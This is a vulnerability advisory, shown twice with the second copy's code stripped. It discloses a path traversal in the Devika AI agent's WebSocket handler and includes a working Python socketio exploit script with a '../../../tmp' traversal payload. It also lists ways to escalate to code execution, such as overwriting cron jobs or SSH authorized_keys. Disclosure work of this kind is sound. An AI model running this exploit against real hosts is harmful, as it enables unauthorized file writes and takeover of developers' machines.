Advisory Details
Title: Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized project_name in WebSocket API
Description:
Summary
Devika suffers from a critical path traversal vulnerability in its WebSocket API. An incomplete fix for CVE-2024-5752 correctly sanitized the project_name parameter on HTTP REST API endpoints but failed to apply the same secure_filename() sanitization to the user-message WebSocket event handler. This allows an unauthenticated attacker to inject ../ sequences into the project name, deceiving the AI agent's file-saving logic into writing arbitrary files (including executable code or configurations) outside the intended data/projects/ directory, resulting in Remote Code Execution (RCE).
Details
Devika's architecture relies heavily on WebSocket connections for real-time interaction with its underlying AI agents. When a client sends a message to the agent, the payload is handled by the user-message event listener in devika.py.
In devika.py lines 82-90, the project_name is extracted directly from the incoming SocketIO data dictionary and passed directly to the Agent.execute() thread without any sanitization:
@socketio.on('user-message')
def handle_message(data):
# ...
project_name = data.get('project_name') # MISSING: secure_filename()
# ...
agent = Agent(base_model=base_model, search_engine=search_engine)
# ...
thread = Thread(target=lambda: agent.execute(message, project_name))
This unsanitized string flows directly into src/agents/coder/coder.py, where the AI agent attempts to save its generated source code:
def save_code_to_project(self, response: List[Dict[str, str]], project_name: str):
file_path_dir = None
project_name = project_name.lower().replace(" ", "-") # Insufficient sanitization
for file in response:
file_path = os.path.join(self.project_dir, project_name, file['file'])
# ...
with open(file_path, "w", encoding="utf-8") as f:
f.write(file["code"])
Because os.path.join natively resolves relative traversal strings, providing a project_name like ../../../tmp/pwned will escape self.project_dir (which defaults to data/projects), resulting in arbitrary file writes on the host system.
PoC
- Start the Devika backend (
python3 devika.py). It binds to port 1337 by default.
- Ensure you have the
python-socketio package installed (pip install "python-socketio[client]").
- Create the following exploit script
exploit.py:
import socketio
import time
sio = socketio.Client()
@sio.event
def connect():
print("[+] Connected to Devika WebSocket API")
# Emit malicious payload breaking out of data/projects/
sio.emit('user-message', {
'message': "Create a hello world python script",
'base_model': 'GPT-4o',
'project_name': '../../../tmp/pwned_project_name_test',
'search_engine': 'duckduckgo'
})
time.sleep(10)
sio.disconnect()
sio.connect('http://127.0.0.1:1337')
sio.wait()
- Run the exploit using
python3 exploit.py.
- Check your
/tmp/ directory (or equivalent relative path outside Devika). The agent will have generated the code and dropped the python script into the arbitrary location: ls -la /tmp/pwned_project_name_test.
Log of Evidence
$ python3 exploit.py
[+] Connected to Devika WebSocket API
# Backend Log Execution:
26.03.06 12:03:33: root: INFO : User message: {'message': 'Create a hello world app', 'base_model': 'GPT-4o', 'project_name': '../../../tmp/pwned_project_name_test'}
[*] Agent thread started for project: ../../../tmp/pwned_project_name_test
...
[Agent logic evaluates and writes file...]
# Victim Host File System:
$ ls -la /root/llm-project/tmp/pwned_project_name_test/pwned.txt
-rw-r--r-- 1 root root 31 Mar 6 12:03 pwned.txt
Impact
Arbitrary File Write leading to Remote Code Execution (RCE). An attacker can supply a malicious project_name to overwrite cron jobs (/etc/cron.d/), overwrite SSH keys (~/.ssh/authorized_keys), or plant malicious startup scripts. Since the WebSocket server completely lacks origin protection (cors_allowed_origins="*"), this can even be executed by a malicious website visited by a developer running Devika locally.
Affected products
- Ecosystem: python
- Package name: stitionai/devika
- Affected versions: All versions (e.g., latest
d6a096c)
- Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
- CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Occurrences
Advisory Details
Title: Incomplete Fix for CVE-2024-5752: Arbitrary File Write via Unsanitized
project_namein WebSocket APIDescription:
Summary
Devika suffers from a critical path traversal vulnerability in its WebSocket API. An incomplete fix for CVE-2024-5752 correctly sanitized the
project_nameparameter on HTTP REST API endpoints but failed to apply the samesecure_filename()sanitization to theuser-messageWebSocket event handler. This allows an unauthenticated attacker to inject../sequences into the project name, deceiving the AI agent's file-saving logic into writing arbitrary files (including executable code or configurations) outside the intendeddata/projects/directory, resulting in Remote Code Execution (RCE).Details
Devika's architecture relies heavily on WebSocket connections for real-time interaction with its underlying AI agents. When a client sends a message to the agent, the payload is handled by the
user-messageevent listener indevika.py.In
devika.pylines 82-90, theproject_nameis extracted directly from the incoming SocketIO data dictionary and passed directly to theAgent.execute()thread without any sanitization:This unsanitized string flows directly into
src/agents/coder/coder.py, where the AI agent attempts to save its generated source code:Because
os.path.joinnatively resolves relative traversal strings, providing aproject_namelike../../../tmp/pwnedwill escapeself.project_dir(which defaults todata/projects), resulting in arbitrary file writes on the host system.PoC
python3 devika.py). It binds to port 1337 by default.python-socketiopackage installed (pip install "python-socketio[client]").exploit.py:python3 exploit.py./tmp/directory (or equivalent relative path outside Devika). The agent will have generated the code and dropped the python script into the arbitrary location:ls -la /tmp/pwned_project_name_test.Log of Evidence
Impact
Arbitrary File Write leading to Remote Code Execution (RCE). An attacker can supply a malicious
project_nameto overwrite cron jobs (/etc/cron.d/), overwrite SSH keys (~/.ssh/authorized_keys), or plant malicious startup scripts. Since the WebSocket server completely lacks origin protection (cors_allowed_origins="*"), this can even be executed by a malicious website visited by a developer running Devika locally.Affected products
d6a096c)Severity
Weaknesses
Occurrences
user-messageWebSocket handler extracting the unsanitizedproject_name.os.path.join().